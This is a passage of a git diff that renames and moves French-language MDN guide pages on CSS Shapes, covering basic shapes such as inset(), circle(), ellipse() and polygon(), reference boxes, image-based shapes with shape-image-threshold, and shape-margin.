Pour obtenir des formes plus complexes, il faudra utiliser les valeurs de type <basic-shape> (les formes simples) ou définir une forme à partir d'une image, tel que nous le verrons dans les autres guides de cette section.

diff --git a/files/fr/web/css/css_shapes/formes_simples/index.html b/files/fr/web/css/css_shapes/formes_simples/index.html deleted file mode 100644 index e1c594bce0..0000000000 --- a/files/fr/web/css/css_shapes/formes_simples/index.html +++ /dev/null @@ -1,149 +0,0 @@ ---- -title: Formes simples -slug: Web/CSS/CSS_Shapes/Formes_simples -tags: - - CSS - - CSS Shapes - - Guide -translation_of: Web/CSS/CSS_Shapes/Basic_Shapes ---- -
{{CSSRef}}
- -

Les formes CSS peuvent être définies grâce au type {{cssxref("<basic-shape>")}}. Dans ce guide, nous verrons les différentes valeurs utilisables avec ce type et leur fonctionnement. Ces formes peuvent par exemple décrire des cercles simples voire des polygones complexes.

- -

Avant d'étudier ces formes dans le détail, attardons nous sur deux notions qui permettent de construire les formes :

- -
    -
  • Le type de donnée <basic-shape>
    • -
  • La boîte de référence
    • -
- -

Le type <basic-shape>

- -

Le type de donnée <basic-shape> fournit les valeurs que nous utiliserons ici pour toutes les formes simples. Ce type utilise une notation fonctionnelle : le type de forme souhaité est suivi de parenthèses au sein desquelles on ajoute différentes valeurs pour décrire la forme finale.

- -

Les arguments de ces fonctions varient selon la forme qu'on veut créer et nous allons voir ces arguments dans les exemples ci-après.

- -

La boîte de référence

- -

La boîte de référence définit le système de coordonnées de chaque forme. Nous avons déjà abordé cette boîte dans le guide sur la création de formes à partir des boîtes où nous avons directement utilisé la boîte de référence afin de créer une forme.

- -

L'inspecteur des formes CSS de Firefox affiche la boîte de référence lorsqu'on inspecte une forme. Dans la capture d'écran suivante, on a créé un cercle avec shape-outside: circle(50%), l'élément flottant possède 20 pixels de remplissage avec la bordure et la marge. On voit que l'inspecteur affiche ces boîtes de référence. Lorsqu'on utilise une forme basique, la boîte de référence utilisée par défaut est la boîte des marges. Dans la capture d'écran, on voit que la forme est définie relativement aux boîtes du modèle de boîtes.

- -

- -

La boîte de référence qu'on veut utiliser peut être ajoutée après la définition de la forme simple. Autrement dit, le comportement obtenu par défaut est équivalent à l'écriture de .

- -
.shape {
-  shape-outside: circle(50%) margin-box;
-}
-
- -

On peut changer ce paramètre si la forme utilise une autre boîte du modèle de boîte. Par exemple, si on souhaite utilise la boîte de bordure, on pourra écrire :

- -
.shape {
-  shape-outside: circle(50%) border-box;
-}
-
- -

On notera que la boîte margin-box pourra rogner la forme et que les formes créées relativement aux autres formes et qui dépassent la boîte de marge seront rognées pour être inscrites dans la boîte de marge. Nous verrons ce comportement dans les exemples suivants.

- -

Pour une description des boîtes et de leurs relations avec les formes CSS, voir Comprendre les liens entre les boîtes de référence et les formes CSS.

- -

inset()

- -

Le type inset() définit un rectangle. Cela peut sembler peu utile car c'est déjà la forme d'une boîte normale. Toutefois, avec inset(), on peut inclure des décalages et déplacer la forme autour de la boîte de référence.

- -

inset() prend comme arguments quatre valeurs pour les quatres côtés : haut, droit, bas, gauche puis une dernière pour border-radius. Le fragment de code CSS suivant permet de créér une forme rectangulaire décalée depuis la boîte de référence (20 pixels du haut et du bas, 10 pixels de la gauche et de la droite) et pour laquelle border-radius vaut 10 pixels.

- -
.shape {
-  float: left;
-  shape-outside: inset(20px 10px 20px 10px round 10px);
-}
-
- -

Utilisant les mêmes règles vues pour la version raccourcie de la marge (cf. {{cssxref("margin")}}), on peut indiquer plusieurs décalages de façon synthétique :

- -
    -
  • Lorsqu'une seule valeur est fournie, elle est utilisée pour tous les côtés.
    • -
  • Lorsque deux valeurs sont fournies, la première correspond aux décalages haut et bas et la deuxième correspond aux décalages gauche et droit
    • -
  • Lorsque trois valeurs sont fournies, la première correspond au décalage haut, la deuxième aux décalages droit et gauche et la dernière au décalage bas.
    • -
  • Avec quatre valeurs, les décalages suivent l'ordre trigonométrique : haut, droit, bas, gauche.
    • -
- -

Ainsi, la règle écrite ci-avant peut-être formulée :

- -
.shape {
-  float: left;
-  shape-outside: inset(20px 10px round 10px);
-}
- -

Dans l'exemple qui suit, on a une forme inset() qu'on décale au-delà de l'élément flottant. Vous pouvez éditer l'exemple afin d'observer l'effet des différentes valeurs de décalages.

- -

{{EmbedGHLiveSample("css-examples/shapes/basic-shape/inset.html", '100%', 800)}}

- -

Vous pouvez également ajouter une valeur pour la boîte de référence. Dans l'exemple suivant, vous pouvez modifier margin-box afin d'utiliser border-box, padding-box ou content-box pour observer la façon dont la boîte de référence modifie l'origine des coordonnées utilisées pour les décalages.

- -

{{EmbedGHLiveSample("css-examples/shapes/basic-shape/inset-box.html", '100%', 800)}}

- -

circle()

- -

La valeur circle() peut être utilisée pour shape-outside et prend jusqu'à deux argument. Le premier de ces arguments correspond à shape-radius.

- -

La fonction circle() et la fonction ellipse(), pour shape-outside, peuvent utiliser cet argument <shape-radius>. Ce dernier peut être une longueur ou un pourcentage mais également l'un des mots-clés closest-side ou farthest-side.

- -

Le mot-clé closest-side utilise la longueur depuis le centre de la forme jusqu'au côté le plus proche de la boîte de référence. Pour les cercles, c'est le côté le plus proche dans n'importe quelle dimension. Pour les ellipses, c'est le côté le plus proche selon l'axe du rayon de l'ellipse.

- -

Le mot-clé farthest-side utilise la longueur depuis le centre de la forme jusqu'au côté le plus éloigné de la boîte de référence. Pour les cercles, c'est le côté le plus éloigné, quelle que soit la dimension. Pour les ellipses, c'est le côté le plus éloigné selon l'axe du rayon.

- -

Le deuxième argument est une position dont la valeur par défaut est center. Toutefois, n'importe quelle position valide peut être utilisée afin d'indiquer le centre du cercle.

- -

Pour résumer, le cercle accepte un rayon qui peut être une longueur, un pourcentage ou le mot-clé closest-side ou farthest-side, optionnellement suivi par le mot-clé at suivi par une position.

- -

Dans l'exemple qui suit, on crée un cercle sur un objet de 100 pixels de large avec une marge de 20 pixels. On a donc une largeur totale de la boîte de référence de 140 pixels. On indique une valeur de 50% pour shape-radius, ce qui crée donc un cercle de 70 pixels de rayon avec une position fixée à 30%.

- -

{{EmbedGHLiveSample("css-examples/shapes/basic-shape/circle.html", '100%', 800)}}

- -

Dans cet exemple, vous pouvez augmenter ou réduire le rayon pour adapter la taille du cercle ou déplacer le cercle via la position. Vous pouvez aussi modifier la boîte de référence.

- -

Ajoutons un autre exemple, en utilisant les mots-clés top left pour indiquer la position, on peut créer une forme en quart de cercle pour le coin supérieur gauche de la page. L'exemple qui suit illustre comment créer un quart de cercle avec du texte qui est écrit autour.

- -

{{EmbedGHLiveSample("css-examples/shapes/basic-shape/circle-generated.html", '100%', 700)}}

- -

Limitation à la boîte de marge

- -

Lorsqu'on a décrit les boîtes de référence ci-avant, on a vu que la boîte de marge pourra rogner la forme. Pour observer cet effet, on peut déplacer le centre du cercle vers le contenu en utilisant la valeur 60% pour la position. Le centre du cercle est alors plus près du contenu et la forme du cercle pourrait dépasser la boîte de marge. La forme est donc rognée et on voit alors un aplat.

- -
img {
-  float: left;
-  shape-outside: circle(50% at 60%);
-}
-
- -

The circle shape is clipped by the margin box

- -

ellipse()

- -

Une ellipse peut être vue comme un cercle aplati. De ce point de vu ellipse() fonctionne de façon analogue à circle() mais il est nécessaire d'indiquer deux rayons : un rayon horizontal x et un rayon vertical y (dans cet ordre).

- -

Ces rayons peuvent être suivis par une position qui permet, comme avec circle(), de déplacer le centre de l'ellipse. Dans l'exemple qui suit, on dessine une ellipse avec un rayon horizontal de 40%, un rayon vertical de 50% et une position à gauche. Cela signifie que le centre de l'ellipse sera situé sur le bord gauche et on aura donc une demi-ellipse autour de laquelle s'écoulera le texte. N'hésitez pas à modifier ces valeurs pour voir l'impact sur l'exemple.

- -

{{EmbedGHLiveSample("css-examples/shapes/basic-shape/ellipse.html", '100%', 800)}}

- -

Les mots-clés closest-side et farthest-side permettent de créer rapidmeent une ellipse en fonction de la taille de la boîte de référence de l'élément flottant.

- -

{{EmbedGHLiveSample("css-examples/shapes/basic-shape/ellipse-keywords.html", '100%', 800)}}

- -

polygon()

- -

La forme simple qui permet de créer une grande variété de formes est polygon(). Cette forme prend comme arguments trois ou plusieurs paires de valeurs qui correspondent aux coordonnées dessinées dans la boîte de référence. Attention, les coordonnées doivent au moins former un triangle.

- -

Dans l'exemple qui suit, on crée une forme avec polygon() pour que le texte s'écoule autour. N'hésitez pas à modifier les valeurs pour visualiser les impacts.

- -

{{EmbedGHLiveSample("css-examples/shapes/basic-shape/polygon.html", '100%', 800)}}

- -

L'inspecteur de formes Firefox s'avère très utile pour créer une forme de polygone. La capture d'écran qui suit illustre la forme dessinée dans l'outil.

- -

The polygon basic shape, highlighted with the Shapes Inspector.

- -

Une autre ressource qui peut s'avérer utile sur ces sujets est Clippy : cet outil permet de créer des formes pour clip-path. Or, les formes utilisées pour clip-path sont les mêmes que pour les formes simples.

diff --git a/files/fr/web/css/css_shapes/from_box_values/index.html b/files/fr/web/css/css_shapes/from_box_values/index.html new file mode 100644 index 0000000000..5ed5b06bfa --- /dev/null +++ b/files/fr/web/css/css_shapes/from_box_values/index.html @@ -0,0 +1,75 @@ +--- +title: Créer des formes à partir des boîtes +slug: Web/CSS/CSS_Shapes/Créer_formes_boîtes +tags: + - Boîtes + - CSS + - CSS Shapes + - Formes CSS + - Guide +translation_of: Web/CSS/CSS_Shapes/From_box_values +--- +
{{CSSRef}}
+ +

Une méthode permettant de créer des formes consiste à utiliser les valeurs provenant du modèle de boîte CSS. Dans cet article, nous verrons comment les utiliser.

+ +

Les valeurs de boîte qui sont autorisées pour les formes sont :

+ +
    +
  • content-box
    • +
  • padding-box
    • +
  • border-box
    • +
  • margin-box
    • +
+ +

Les valeurs border-radius sont également prises en charge et on peut donc avoir une forme qui possède une bordure arrondie.

+ +

Le modèle de boîte CSS

+ +

Les valeurs énumérées ci-avant correspondent aux différentes boîtes du modèle de boîte CSS. En CSS, une boîte possède un contenu (content), du remplissage (padding), une bordure (border) ainsi qu'une marge (margin).

+ +

The Box Model consists of the margin, border, padding and content boxes.

+ +

En utilisant une de ces valeurs, il est possible de suivre le contour d'une de ces zones. Dans les exemples qui suivent, on utilise un élément qui possède du remplissage, une bordure et une marge afin d'observer l'impact de ces différentes valeurs pour la définition d'une forme et le comportement du contenu alentour.

+ +

margin-box

+ +

La valeur margin-box correspond à la forme de la boîte de marge et suit le bord extérieur de la marge en prenant en compte les coins arrondis de la forme si {{cssxref("border-radius")}} a été utilisé sur l'élément.

+ +

Dans l'exemple suivant, on a un élément circulaire mauve qui est un élément {{htmlelement("div")}} avec une hauteur, une largeur et une couleur d'arrière-plan. La propriété border-radius a été utilisée afin de créer le cercle avec border-radius: 50%. L'élément ayant une marge, on peut voir le contenu évoluer autour de cette forme circulaire en prenant la marge en compte.

+ +

{{EmbedGHLiveSample("css-examples/shapes/box/margin-box.html", '100%', 800)}}

+ +

border-box

+ +

La valeur border-box correspond à la forme définie par le bord extérieur de la bordure. La forme épouse la bordure et les éventuels arrondis qui lui sont appliqués. Un élément possède toujours une bordure même si {{cssxref("border")}} n'a pas explicitement été utilisé. Si c'est le cas, border-box sera équivalent à padding-box et la forme suivra le bord extérieur de la boîte de remplissage.

+ +

Avec l'exemple qui suit, on peut voir que le texte suit désormais les lignes créées par la bordure. Vous pouvez modifier la taille de cette bordure pour voir le déplacement du contenu autour.

+ +

{{EmbedGHLiveSample("css-examples/shapes/box/border-box.html", '100%', 800)}}

+ +

padding-box

+ +

La valeur padding-box correspond à la forme définie par le bord extérieur de la boîte de remplissage (padding). La forme suit les règles d'arrondies appliquées à la bordure. Si aucun remplissage n'est appliqué, padding-box sera équivalent à content-box.

+ +

{{EmbedGHLiveSample("css-examples/shapes/box/padding-box.html", '100%', 800)}}

+ +

content-box

+ +

La valeur content-box correspond à la forme définie par le bord extérieur de la boîte de contenu. Chaque coin possède un rayon de courbure qui est le maximum entre 0 et border-radius − border-width − padding. Cela signifie qu'il est impossible d'avoir une valeur négative pour cette boîte.

+ +

{{EmbedGHLiveSample("css-examples/shapes/box/content-box.html", '100%', 800)}}

+ +
+

Note : Pour en savoir plus sur le modèle de boîte CSS, voir cet article.

+
+ +

Quand utiliser les valeurs de boîte

+ +

Les valeurs correspondant aux boîtes permettent de créer des formes simplement. Toutefois, cela ne fonctionne que pour des formes simples, définies en partie avec la propriété border-radius. Les exemples ci-avant montrent un tel cas d'utilisation (on crée une forme circulaire grâce à cette propriété).

+ +

Malgré cela, il est possible de créer des effets intéressants en n'utilisant que cette technique. Pour ce dernier exemple, on a deux éléments qui flottent à droite et à gauche et on leur affecte une valeur border-radius de 100% dans la direction la plus proche du texte.

+ +

{{EmbedGHLiveSample("css-examples/shapes/box/bottom-margin-box.html", '100%', 800)}}

+ +

Pour obtenir des formes plus complexes, il faudra utiliser les valeurs de type <basic-shape> (les formes simples) ou définir une forme à partir d'une image, tel que nous le verrons dans les autres guides de cette section.

diff --git "a/files/fr/web/css/css_shapes/g\303\251n\303\251rer_formes_images/index.html" "b/files/fr/web/css/css_shapes/g\303\251n\303\251rer_formes_images/index.html" deleted file mode 100644 index e85db873c1..0000000000 --- "a/files/fr/web/css/css_shapes/g\303\251n\303\251rer_formes_images/index.html" +++ /dev/null @@ -1,64 +0,0 @@ ---- -title: Générer des formes avec des images -slug: Web/CSS/CSS_Shapes/Générer_formes_images -tags: - - CSS - - Formes CSS - - Guide -translation_of: Web/CSS/CSS_Shapes/Shapes_From_Images ---- -
{{CSSRef}}
- -

Dans ce guide, nous allons voir comment créer une forme à partir d'une image, que ce soit un fichier avec un canal alpha ou un dégradé CSS. Grâce aux images, on peut suivre une forme complexe sans avoir à dessiner de polygone. On peut créer la forme à partir d'un éditeur graphique et utiliser le contour de cette image formé par la ligne des pixels moins opaques qu'un seuil donné.

- -

Générer une forme simple avec une image

- -

Pour utiliser une image afin de créer une forme, il est nécessaire que cette image dispose d'un canal alpha, c'est-à-dire une zone qui n'est pas complètement opaque. La propriété {{cssxref("shape-image-threshold")}} est utilisée afin de fournir un seuil d'opacité. Les pixels qui sont plus opaques que cette valeur seront alors utilisés pour calculer la zone de la forme.

- -

Dans l'exemple suivant, on utilise un image avec une étoile rouge complètement opaque entourée d'une zone complètement transparente. On fournit le chemin de l'image à {{cssxref("shape-outside")}} et le contenu environnant épouse alors la forme de l'image.

- -

{{EmbedGHLiveSample("css-examples/shapes/image/simple-example.html", '100%', 800)}}

- -

On peut utiliser {{cssxref("shape-margin")}} afin d'écarter le texte de la forme avec une certaine marge.

- -

{{EmbedGHLiveSample("css-examples/shapes/image/margin.html", '100%', 800)}}

- -

Origines et compatibilité CORS

- -

Attention, les images utilisées pour créer les formes doivent être compatibles pour le CORS. Une image hébergée sur le même domaine que le site devrait fonctionner. En revanche, si les images sont hébergées sur un domaine différent (celui d'un CDN par exemple), il faudra s'assurer que les bons en-têtes HTTP sont fournis afin de construire des images. À cause de ce prérequis, si vous testez un site en local avec vos fichiers, les formes CSS à partir d'images ne fonctionneront pas si vous ne mettez pas en place de serveur web local.

- -

Ai-je à faire à un problème de CORS ?

- -

Les outils de développement aident à déterminer si le problème vient du CORS. Dans Chrome, les problèmes CORS seront écrits dans la console. Dans Firefox, si vous inspectez la propriété en question, vous verrez une alerte indiquant que l'image ne peut pas être chargée. Dans ce cas, il est probable que l'image ne puisse être utilisée comme forme à cause du CORS.

- -

Utiliser un seuil

- -

La propriété {{cssxref("shape-image-threshold")}} permet de créer des formes à partir d'une image en utilisant des zones qui ne sont pas totalement transparentes. Si shape-image-threshold vaut 0.0 (qui correspond à la valeur initiale), ce ne sont que les zones totalement transparentes qui seront utilisées pour fabriquer la forme. Si la valeur 1.0 est utilisée, le seuil correspondra aux zones totalement opaques et toute l'image seront alors utilisée. Les valeurs intermédiaires permettent d'utiliser des zones partiellement transparentes afin de construire la forme.

- -

Dans l'exemple qui suit, on utilise une image semblable à celle du premier exemple. Toutefois, pour cette image, l'arrière-plan de l'étoile n'est pas totalement transparent : il a une opacité de 20% (créée avec un éditeur graphique). Si on utilise shape-image-threshold avec la valeur 0.3, on aura donc la forme de l'étoile mais si on utilise une valeur inférieure à 0.2, on aura une forme rectangulaire.

- -

{{EmbedGHLiveSample("css-examples/shapes/image/threshold.html", '100%', 800)}}

- -

Utiliser des images avec du contenu généré

- -

Dans l'exemple ci-avant, on utilise une image pour {{cssxref("shape-outside")}} et on utilise également cette image dans le document. La plupart des exemples et démos utilisent ce procéder car cela aide à illustrer la forme suivie par le texte environnant. Cependant, il faut comprendre que la propriété shape-outside ne repose pas sur l'image utilisée dans le document et qu'il n'est pas nécessaire d'afficher une image dans le document afin de construire une forme à partir d'une image.

- -

Il est nécessaire d'avoir un contenu flottant pour créer une forme mais ce contenu peut tout à fait être généré grâce à la feuille de style. Dans l'exemple qui suit, on utilise un contenu généré qui est placé dans une disposition flottante, avec une image d'étoile pour créer la forme mais cette image n'est pas affichée sur la page.

- -

{{EmbedGHLiveSample("css-examples/shapes/image/generated-content.html", '100%', 800)}}

- -

Créer des formes avec un dégradé

- -

En CSS, un dégradé est une image. On peut donc utiliser un dégradé afin de générer une forme.

- -

Dans le prochain exemple, on utilise un contenu généré flottant dont l'image d'arrière-plan est un dégradé linéaire. On utilise la même valeur pour {{cssxref("shape-outside")}}. Le dégradé linéaire évolue du mauve vers le transparent. En modifiant la valeur de {{cssxref("shape-image-threshold")}}, on peut donc sélectionner le niveau de transparence nécessaire à la création de la forme. N'hésitez pas à modifier la valeur du seuil dans l'exemple suivant afin de voir le déplacement du contour en fonction du niveau de dégradé.

- -

Vous pouvez également essayer de complètement retirer l'image d'arrière-plan afin d'utiliser uniquement le dégradé afin de créer la forme et ne pas l'afficher sur l'image.

- -

{{EmbedGHLiveSample("css-examples/shapes/image/gradient.html", '100%', 800)}}

- -

Dans l'exemple qui suit, on utilise un dégradé radial avec une ellipse et on utilise les zones transparentes du dégradé afin de créer la forme.

- -

{{EmbedGHLiveSample("css-examples/shapes/image/radial-gradient.html", '100%', 800)}}

- -

Vous pouvez éditer ces exemples interactifs afin de voir l'évolution de la forme en fonction des modifications.

diff --git a/files/fr/web/css/css_shapes/overview_of_css_shapes/index.html b/files/fr/web/css/css_shapes/overview_of_css_shapes/index.html new file mode 100644 index 0000000000..bf8d674cf3 --- /dev/null +++ b/files/fr/web/css/css_shapes/overview_of_css_shapes/index.html @@ -0,0 +1,125 @@ +--- +title: Aperçu des formes CSS +slug: Web/CSS/CSS_Shapes/Aperçu_formes_CSS +tags: + - Aperçu + - CSS + - CSS Shapes + - Formes CSS +translation_of: Web/CSS/CSS_Shapes/Overview_of_CSS_Shapes +--- +
{{CSSRef}}
+ +

La spécification CSS Shapes Level 1 définit les formes géométriques en CSS. Pour ce module de niveau 1, ces formes s'appliquent aux éléments qui utilisent une disposition flottante. Dans cet article, nous verrons un aperçu de ce qu'il est possible de faire avec les formes en CSS.

+ +

Si on fait flotter un élément à gauche d'un texte, on verra le texte écrit autour de cet élément en suivant un contour rectangulaire. Si on applique une forme circulaire à cet élément, le texte suivra alors le contour du cercle.

+ +

Il existe différentes façons de créer des formes CSS et nous verrons, dans ces guides, leur fonctionnement et les cas d'utilisation.

+ +

Que définit la spécification ?

+ +

La spécification définit trois nouvelles propriétés :

+ +
    +
  • {{cssxref("shape-outside")}} qui permet de définir des formes simples
    • +
  • {{cssxref("shape-image-threshold")}} qui permet d'indiquer un seuil d'opacité. Si une image est utilisée afin de définir une forme, seuls les fragments de l'image qui sont d'une opacité supérieure ou égale à ce seuil seront utilisés afin de créer la forme. Les autres fragments de l'image sont ignorés.
    • +
  • {{cssxref("shape-margin")}} définit une marge autour d'une forme
    • +
+ +

Définir des formes simples

+ +

La propriété shape-outside permet de définir une forme. Cette propriété peut prendre différentes valeurs dont chacune définit une forme différente. Ces valeurs sont définies par le type de donnée {{cssxref("<basic-shape>")}}. Prenons un exemple simple pour commencer.

+ +

Dans l'exemple qui suit, on a une image qui flotte à gauche. Ensuite, on lui applique shape-outside avec la valeur circle(50%). Grâce à cette règle, le contenu épouse alors une forme circulaire plutôt que le rectangle qui était formé par la boîte de l'image.

+ +

{{EmbedGHLiveSample("css-examples/shapes/overview/circle.html", '100%', 720)}}

+ +

À l'heure actuelle, la spécification indique qu'un élément doit flotter si on veut lui appliquer <basic-shape>. De cette façon, l'amélioration progressive est rapidement obtenue car si le navigateur ne prend pas en charge les formes CSS, l'utilisateur verra le contenu épouser une forme rectangulaire (comme auparavant). Si le navigateur prend en charge les formes, la disposition visuelle sera améliorée.

+ +

Formes simples (Basic Shapes)

+ +

La valeur circle(50%) est une exemple de forme simple. La spécification fournit quatre valeur de types <basic-shape> :

+ +
    +
  • inset()
    • +
  • circle()
    • +
  • ellipse()
    • +
  • polygon()
    • +
+ +

Avec la valeur inset(), le texte environnant continue d'épouser une forme rectangulaire mais on peut décaler ce rectangle afin de rapprocher le texte de l'objet flottant par exemple.

+ +

Nous avons vu le fonctionnement de circle() dans l'exemple précédent : cette notation fonctionnelle permet de créer une forme circulaire. ellipse() est assez proche et permet de créer une ellipse (qu'on peut voir comme un cercle aplati). Si aucune de ces formes ne vous convient, vous pouvez utiliser polygon() afin de créer un polygone correspondant à une forme complexe.

+ +

Dans le guide sur les formes simples, nous verrons comment créer et exploiter ces formes.

+ +

Boîtes de référence

+ +

Les formes sont créées sur une boîte donnée. Aussi, on peut créer une boîte par rapport à chacune des boîtes du modèle de boîte et utiliser les valeurs :

+ +
    +
  • border-box
    • +
  • padding-box
    • +
  • content-box
    • +
  • margin-box
    • +
+ +

Dans l'exemple qui suit, vous pouvez modifier la valeur border-box afin d'utiliser une autre valeur et observer comment se déplace la forme par rapport à la boîte.

+ +

{{EmbedGHLiveSample("css-examples/shapes/overview/box.html", '100%', 810)}}

+ +

Pour en savoir plus, voir le guide sur les formes et les boîtes.

+ +

Générer une forme à partir d'une image

+ +

Une autre méthode qui peut s'avérer utile consiste à générer une forme à partir d'une image et de son canal alpha :  le texte épousera alors la forme non-transparente de l'image. On peut alors avoir un texte qui « s'écoule » dans une image ou autour. Cette méthode permet aussi d'avoir une forme plus complexe sans avoir à recourir à un polygone (il n'est pas nécessaire que  l'image  soit visible).

+ +

Attention, les images utilisées ainsi doivent être compatibles avec les règles CORS. Se n'est pass le cas, shape-outside se comportera comme si elle avait reçu la valeur none et il n'y aura alors aucune forme.

+ +

Dans l'exemple qui suit, on utilise une image avec une zone complètement transparente et on utilise une image comme valeur d'URL pour shape-outside. La forme ainsi créée utilise la zone opaque de l'image : la forme de la montgolfière.

+ +

{{EmbedGHLiveSample("css-examples/shapes/overview/image.html", '100%', 800)}}

+ +

shape-image-threshold

+ +

La propriété shape-image-threshold permet d'ajuster le seuil de transparence utilisé pour créer une forme à partir d'une image. Si la valeur de shape-image-threshold est 0.0 (la valeur initiale), ce seront les parties totalement transparentes de l'image qui créeront la forme. Si la valeur 1.0, toutes les zones de l'image (y compris celles totalement opaques) seront utilisées pour la forme. Les valeurs intermédiaires permettent d'utiliser des zones partiellement transparentes pour définir la forme.

+ +

Dans l'exemple suivant, on utilise une image qui est un dégradé et qui permet de définir la forme. Vous pouvez modifier la valeur du seuil afin de faire évoluer la forme.

+ +

{{EmbedGHLiveSample("css-examples/shapes/overview/threshold.html", '100%', 820)}}

+ +

Dans l'article Créer des formes à partir d'images, nous verrons plus en détails le fonctionnement de ces propriétés.

+ +

La propriété shape-margin

+ +

La propriété {{cssxref("shape-margin")}} ajoute une marge à shape-outside. Cela permet d'écarter le contenu de la forme.

+ +

Dans l'exemple qui suit, on a une forme simple sur laquelle on ajoute shape-margin. Vous pouvez modifier la valeur de cette propriété afin de rapprocher ou d'éloigner le texte de la forme.

+ +

{{EmbedGHLiveSample("css-examples/shapes/overview/shape-margin.html", '100%', 800)}}

+ +

Utiliser du contenu généré comme objet flottant

+ +

Dans les exemples qui précèdent, nous avons utilisé des images ou des éléments visibles afin de définir la forme. Autrement dit, la forme est visible sur la page. Il se peut également qu'on veuille que le texte suive une ligne invisible qui ne soit pas droite. On pourrait le faire avec une image ensuite rendue invisible mais on aurait alors des éléments redondants dans le document. Aussi, autant utiliser du contenu généré afin de strictement conserver la mise en forme dans la feuille CSS.

+ +

Dans l'exemple qui suit, on utilise du contenu généré afin d'inséer un élément avec une hauteur et une largeur de 150 pixels. On peut alors ensuite utiliser les formes simples, les boîtes de référence ou le canal alpha d'une image afin de créer une forme qu'épouserait le texte.

+ +

{{EmbedGHLiveSample("css-examples/shapes/overview/generated-content.html", '100%', 850)}}

+ +

Relations avec clip-path

+ +

Les valeurs utilisées pour les formes simples et pour les boîtes de référence sont les mêmes que celles utilisées pour la propriété {{cssxref("clip-path")}}. Ainsi, si on souhaite créer une forme à partir d'une image et rogner une partie de cette image, on pourra utiliser les mêmes valeurs.

+ +

Ci-après, on a une image carrée avec un arrière-plan bleu. On a défini la forme avec  shape-outside: ellipse(40% 50%); puis utilisé clip-path: ellipse(40% 50%); afin de rogner l'image pour suivre la forme.

+ +

{{EmbedGHLiveSample("css-examples/shapes/overview/clip-path.html", '100%', 800)}}

+ +

Outils de développement pour les formes CSS

+ +

Avec la prise en charge des formes CSS, Firefox sort également une nouvelle fonctionnalités dans les outils de développement : l'éditeur de chemin pour les formes (Shape Path Editor). Cet outil permet d'inspecter les formes présentes sur la page et de modifier leurs valeurs à la volée. Si votre polygone n'a pas l'aspect escompté, vous pouvez le modifier via l'éditeur puis recopier la nouvelle valeur dans votre fichier CSS.

+ +

L'éditeur de chemin pour les formes sera activé par défaut avec Firefox 60 pour les formes générées grâce à clip-path. Vous pouvez également l'utiliser afin d'éditer les formes générées grâce à shape-outside à condition d'avoir activé la préférence layout.css.shape-outside.enabled.

+ +

Les futures fonctionnalités

+ +

Dans sa version initiale, le module de spécification pour les formes contenait une propriété shape-inside afin de créer des formes à l'intérieur d'un élément. Cette propriété, ainsi que la possibilité de créer des formes sur des éléments non-flottants, a été repoussée à la spécification de niveau 2. La propriété shape-inside était initialement décrite dans la spécification de niveau 1 et vous pouvez donc trouver certains tutoriels qui détaillent ces deux propriétés.

diff --git a/files/fr/web/css/css_shapes/shapes_from_images/index.html b/files/fr/web/css/css_shapes/shapes_from_images/index.html new file mode 100644 index 0000000000..e85db873c1 --- /dev/null +++ b/files/fr/web/css/css_shapes/shapes_from_images/index.html @@ -0,0 +1,64 @@ +--- +title: Générer des formes avec des images +slug: Web/CSS/CSS_Shapes/Générer_formes_images +tags: + - CSS + - Formes CSS + - Guide +translation_of: Web/CSS/CSS_Shapes/Shapes_From_Images +--- +
{{CSSRef}}
+ +

Dans ce guide, nous allons voir comment créer une forme à partir d'une image, que ce soit un fichier avec un canal alpha ou un dégradé CSS. Grâce aux images, on peut suivre une forme complexe sans avoir à dessiner de polygone. On peut créer la forme à partir d'un éditeur graphique et utiliser le contour de cette image formé par la ligne des pixels moins opaques qu'un seuil donné.

+ +

Générer une forme simple avec une image

+ +

Pour utiliser une image afin de créer une forme, il est nécessaire que cette image dispose d'un canal alpha, c'est-à-dire une zone qui n'est pas complètement opaque. La propriété {{cssxref("shape-image-threshold")}} est utilisée afin de fournir un seuil d'opacité. Les pixels qui sont plus opaques que cette valeur seront alors utilisés pour calculer la zone de la forme.

+ +

Dans l'exemple suivant, on utilise un image avec une étoile rouge complètement opaque entourée d'une zone complètement transparente. On fournit le chemin de l'image à {{cssxref("shape-outside")}} et le contenu environnant épouse alors la forme de l'image.

+ +

{{EmbedGHLiveSample("css-examples/shapes/image/simple-example.html", '100%', 800)}}

+ +

On peut utiliser {{cssxref("shape-margin")}} afin d'écarter le texte de la forme avec une certaine marge.

+ +

{{EmbedGHLiveSample("css-examples/shapes/image/margin.html", '100%', 800)}}

+ +

Origines et compatibilité CORS

+ +

Attention, les images utilisées pour créer les formes doivent être compatibles pour le CORS. Une image hébergée sur le même domaine que le site devrait fonctionner. En revanche, si les images sont hébergées sur un domaine différent (celui d'un CDN par exemple), il faudra s'assurer que les bons en-têtes HTTP sont fournis afin de construire des images. À cause de ce prérequis, si vous testez un site en local avec vos fichiers, les formes CSS à partir d'images ne fonctionneront pas si vous ne mettez pas en place de serveur web local.

+ +

Ai-je à faire à un problème de CORS ?

+ +

Les outils de développement aident à déterminer si le problème vient du CORS. Dans Chrome, les problèmes CORS seront écrits dans la console. Dans Firefox, si vous inspectez la propriété en question, vous verrez une alerte indiquant que l'image ne peut pas être chargée. Dans ce cas, il est probable que l'image ne puisse être utilisée comme forme à cause du CORS.

+ +

Utiliser un seuil

+ +

La propriété {{cssxref("shape-image-threshold")}} permet de créer des formes à partir d'une image en utilisant des zones qui ne sont pas totalement transparentes. Si shape-image-threshold vaut 0.0 (qui correspond à la valeur initiale), ce ne sont que les zones totalement transparentes qui seront utilisées pour fabriquer la forme. Si la valeur 1.0 est utilisée, le seuil correspondra aux zones totalement opaques et toute l'image seront alors utilisée. Les valeurs intermédiaires permettent d'utiliser des zones partiellement transparentes afin de construire la forme.

+ +

Dans l'exemple qui suit, on utilise une image semblable à celle du premier exemple. Toutefois, pour cette image, l'arrière-plan de l'étoile n'est pas totalement transparent : il a une opacité de 20% (créée avec un éditeur graphique). Si on utilise shape-image-threshold avec la valeur 0.3, on aura donc la forme de l'étoile mais si on utilise une valeur inférieure à 0.2, on aura une forme rectangulaire.

+ +

{{EmbedGHLiveSample("css-examples/shapes/image/threshold.html", '100%', 800)}}

+ +

Utiliser des images avec du contenu généré

+ +

Dans l'exemple ci-avant, on utilise une image pour {{cssxref("shape-outside")}} et on utilise également cette image dans le document. La plupart des exemples et démos utilisent ce procéder car cela aide à illustrer la forme suivie par le texte environnant. Cependant, il faut comprendre que la propriété shape-outside ne repose pas sur l'image utilisée dans le document et qu'il n'est pas nécessaire d'afficher une image dans le document afin de construire une forme à partir d'une image.

+ +

